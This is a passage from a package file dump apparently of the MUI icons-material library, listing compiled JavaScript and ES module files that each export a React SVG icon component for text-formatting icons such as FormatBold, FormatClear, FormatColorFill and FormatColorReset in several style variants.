    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H8c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h5.78c2.07 0 3.96-1.69 3.97-3.77.01-1.53-.85-2.84-2.15-3.44M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H8c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h5.78c2.07 0 3.96-1.69 3.97-3.77.01-1.53-.85-2.84-2.15-3.44M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.6 10.79c.97-.67 1.65-1.77 1.65-2.79 0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.25 8c0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42.97-.67 1.65-1.77 1.65-2.79M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatBoldTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.25 8c0-2.26-1.75-4-4-4H7v14h7.04c2.09 0 3.71-1.7 3.71-3.79 0-1.52-.86-2.82-2.15-3.42.97-.67 1.65-1.77 1.65-2.79M10 6.5h3c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-3zm3.5 9H10v-3h3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5\"\n}), 'FormatBoldTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClear.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.27 5 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21 18 19.73 3.55 5.27zM6 5v.18L8.82 8h2.4l-.72 1.68 2.1 2.1L14.21 8H20V5z\"\n}), 'FormatClear');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClear.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.27 5 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21 18 19.73 3.55 5.27zM6 5v.18L8.82 8h2.4l-.72 1.68 2.1 2.1L14.21 8H20V5z\"\n}), 'FormatClear');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8V5H6.39l3 3h1.83l-.55 1.28 2.09 2.1L14.21 8zM3.41 4.86 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21l1.41-1.41z\"\n}), 'FormatClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8V5H6.39l3 3h1.83l-.55 1.28 2.09 2.1L14.21 8zM3.41 4.86 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21l1.41-1.41z\"\n}), 'FormatClearOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 8c.83 0 1.5-.67 1.5-1.5S19.33 5 18.5 5H6.39l3 3h1.83l-.55 1.28 2.09 2.09L14.21 8zm-1.06 10.88L4.12 5.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l6.26 6.26-1.65 3.84c-.39.92.28 1.93 1.27 1.93.55 0 1.05-.33 1.27-.84l1.21-2.83 4.95 4.95c.39.39 1.02.39 1.41 0 .4-.38.4-1.01.01-1.4\"\n}), 'FormatClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 8c.83 0 1.5-.67 1.5-1.5S19.33 5 18.5 5H6.39l3 3h1.83l-.55 1.28 2.09 2.09L14.21 8zm-1.06 10.88L4.12 5.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l6.26 6.26-1.65 3.84c-.39.92.28 1.93 1.27 1.93.55 0 1.05-.33 1.27-.84l1.21-2.83 4.95 4.95c.39.39 1.02.39 1.41 0 .4-.38.4-1.01.01-1.4\"\n}), 'FormatClearRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8V5H6.39l3 3h1.83l-.55 1.28 2.09 2.1L14.21 8zM3.41 4.86 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21l1.41-1.41z\"\n}), 'FormatClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8V5H6.39l3 3h1.83l-.55 1.28 2.09 2.1L14.21 8zM3.41 4.86 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21l1.41-1.41z\"\n}), 'FormatClearSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8V5H6.39l3 3h1.83l-.55 1.28 2.09 2.1L14.21 8zM3.41 4.86 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21l1.41-1.41z\"\n}), 'FormatClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatClearTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8V5H6.39l3 3h1.83l-.55 1.28 2.09 2.1L14.21 8zM3.41 4.86 2 6.27l6.97 6.97L6.5 19h3l1.57-3.66L16.73 21l1.41-1.41z\"\n}), 'FormatClearTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFill.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.56 8.94 7.62 0 6.21 1.41l2.38 2.38-5.15 5.15c-.59.59-.59 1.54 0 2.12l5.5 5.5c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12M5.21 10 10 5.21 14.79 10zM19 11.5s-2 2.17-2 3.5c0 1.1.9 2 2 2s2-.9 2-2c0-1.33-2-3.5-2-3.5M2 20h20v4H2z\"\n}), 'FormatColorFill');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFill.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.56 8.94 7.62 0 6.21 1.41l2.38 2.38-5.15 5.15c-.59.59-.59 1.54 0 2.12l5.5 5.5c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12M5.21 10 10 5.21 14.79 10zM19 11.5s-2 2.17-2 3.5c0 1.1.9 2 2 2s2-.9 2-2c0-1.33-2-3.5-2-3.5M2 20h20v4H2z\"\n}), 'FormatColorFill');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.56 8.94 7.62 0 6.21 1.41l2.38 2.38-5.15 5.15c-.59.59-.59 1.54 0 2.12l5.5 5.5c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12M5.21 10 10 5.21 14.79 10zM19 11.5s-2 2.17-2 3.5c0 1.1.9 2 2 2s2-.9 2-2c0-1.33-2-3.5-2-3.5M2 20h20v4H2z\"\n}), 'FormatColorFillOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.56 8.94 7.62 0 6.21 1.41l2.38 2.38-5.15 5.15c-.59.59-.59 1.54 0 2.12l5.5 5.5c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12M5.21 10 10 5.21 14.79 10zM19 11.5s-2 2.17-2 3.5c0 1.1.9 2 2 2s2-.9 2-2c0-1.33-2-3.5-2-3.5M2 20h20v4H2z\"\n}), 'FormatColorFillOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.94 16.56c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12L8.32.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.68 1.68-5.15 5.15c-.59.59-.59 1.54 0 2.12zM10 5.21 14.79 10H5.21zM19 17c1.1 0 2-.9 2-2 0-1.33-2-3.5-2-3.5s-2 2.17-2 3.5c0 1.1.9 2 2 2m1 3H4c-1.1 0-2 .9-2 2s.9 2 2 2h16c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}), 'FormatColorFillRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.94 16.56c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12L8.32.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.68 1.68-5.15 5.15c-.59.59-.59 1.54 0 2.12zM10 5.21 14.79 10H5.21zM19 17c1.1 0 2-.9 2-2 0-1.33-2-3.5-2-3.5s-2 2.17-2 3.5c0 1.1.9 2 2 2m1 3H4c-1.1 0-2 .9-2 2s.9 2 2 2h16c1.1 0 2-.9 2-2s-.9-2-2-2\"\n}), 'FormatColorFillRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 17.62 17.62 10l-10-10-1.41 1.41 2.38 2.38L2.38 10zm0-12.41L14.79 10H5.21zM19 17c1.1 0 2-.9 2-2 0-1.33-2-3.5-2-3.5s-2 2.17-2 3.5c0 1.1.9 2 2 2M2 20h20v4H2z\"\n}), 'FormatColorFillSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 17.62 17.62 10l-10-10-1.41 1.41 2.38 2.38L2.38 10zm0-12.41L14.79 10H5.21zM19 17c1.1 0 2-.9 2-2 0-1.33-2-3.5-2-3.5s-2 2.17-2 3.5c0 1.1.9 2 2 2M2 20h20v4H2z\"\n}), 'FormatColorFillSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.56 8.94 7.62 0 6.21 1.41l2.38 2.38-5.15 5.15c-.59.59-.59 1.54 0 2.12l5.5 5.5c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12M5.21 10 10 5.21 14.79 10zM19 11.5s-2 2.17-2 3.5c0 1.1.9 2 2 2s2-.9 2-2c0-1.33-2-3.5-2-3.5M2 20h20v4H2z\"\n}), 'FormatColorFillTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorFillTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.56 8.94 7.62 0 6.21 1.41l2.38 2.38-5.15 5.15c-.59.59-.59 1.54 0 2.12l5.5 5.5c.29.29.68.44 1.06.44s.77-.15 1.06-.44l5.5-5.5c.59-.58.59-1.53 0-2.12M5.21 10 10 5.21 14.79 10zM19 11.5s-2 2.17-2 3.5c0 1.1.9 2 2 2s2-.9 2-2c0-1.33-2-3.5-2-3.5M2 20h20v4H2z\"\n}), 'FormatColorFillTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorReset.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14c0-4-6-10.8-6-10.8s-1.33 1.51-2.73 3.52l8.59 8.59c.09-.42.14-.86.14-1.31m-.88 3.12L12.5 12.5 5.27 5.27 4 6.55l3.32 3.32C6.55 11.32 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.96-1.5l2.63 2.63 1.27-1.27z\"\n}), 'FormatColorReset');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorReset.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14c0-4-6-10.8-6-10.8s-1.33 1.51-2.73 3.52l8.59 8.59c.09-.42.14-.86.14-1.31m-.88 3.12L12.5 12.5 5.27 5.27 4 6.55l3.32 3.32C6.55 11.32 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.96-1.5l2.63 2.63 1.27-1.27z\"\n}), 'FormatColorReset');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.36c1.53 2 3.08 4.43 3.71 6.24l2.23 2.23c.03-.27.06-.55.06-.83 0-3.98-6-10.8-6-10.8s-1.18 1.35-2.5 3.19l1.44 1.44c.34-.51.7-1 1.06-1.47M5.41 5.14 4 6.55l3.32 3.32C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l2.63 2.63L20 19.72zM12 18c-2.21 0-4-1.79-4-4 0-.69.32-1.62.81-2.64l5.72 5.72c-.7.56-1.57.92-2.53.92\"\n}), 'FormatColorResetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6.36c1.53 2 3.08 4.43 3.71 6.24l2.23 2.23c.03-.27.06-.55.06-.83 0-3.98-6-10.8-6-10.8s-1.18 1.35-2.5 3.19l1.44 1.44c.34-.51.7-1 1.06-1.47M5.41 5.14 4 6.55l3.32 3.32C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l2.63 2.63L20 19.72zM12 18c-2.21 0-4-1.79-4-4 0-.69.32-1.62.81-2.64l5.72 5.72c-.7.56-1.57.92-2.53.92\"\n}), 'FormatColorResetOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14c0-3.09-3.6-7.88-5.23-9.87-.4-.49-1.15-.49-1.55 0-.46.57-1.08 1.36-1.73 2.27l8.44 8.44c.04-.28.07-.56.07-.84m1.29 5.01L6.12 5.84a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.61 2.61C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l1.92 1.92c.39.39 1.02.39 1.41 0 .4-.38.4-1.02.01-1.41\"\n}), 'FormatColorResetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14c0-3.09-3.6-7.88-5.23-9.87-.4-.49-1.15-.49-1.55 0-.46.57-1.08 1.36-1.73 2.27l8.44 8.44c.04-.28.07-.56.07-.84m1.29 5.01L6.12 5.84a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.61 2.61C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l1.92 1.92c.39.39 1.02.39 1.41 0 .4-.38.4-1.02.01-1.41\"\n}), 'FormatColorResetRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 14c0-3.98-6-10.8-6-10.8s-1.18 1.35-2.5 3.19l8.44 8.44c.03-.27.06-.55.06-.83M5.41 5.14 4 6.55l3.32 3.32C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l2.63 2.63L20 19.72z\"\n}), 'FormatColorResetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 14c0-3.98-6-10.8-6-10.8s-1.18 1.35-2.5 3.19l8.44 8.44c.03-.27.06-.55.06-.83M5.41 5.14 4 6.55l3.32 3.32C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l2.63 2.63L20 19.72z\"\n}), 'FormatColorResetSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatColorResetTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.93 7.83 4.77 4.77c-.62-1.81-2.17-4.24-3.71-6.24-.35.47-.71.96-1.06 1.47M12 18c.96 0 1.83-.36 2.53-.92l-5.72-5.72C8.32 12.38 8 13.31 8 14c0 2.21 1.79 4 4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6.36c1.53 2 3.08 4.43 3.71 6.24l2.23 2.23c.03-.27.06-.55.06-.83 0-3.98-6-10.8-6-10.8s-1.18 1.35-2.5 3.19l1.44 1.44c.34-.51.7-1 1.06-1.47M5.41 5.14 4 6.55l3.32 3.32C6.55 11.33 6 12.79 6 14c0 3.31 2.69 6 6 6 1.52 0 2.9-.57 3.95-1.5l2.63 2.63L20 19.72zM12 18c-2.21 0-4-1.79-4-4 0-.69.32-1.62.81-2.64l5.72 5.72c-.7.56-1.57.92-2.53.92\"\n}, \"1\")], 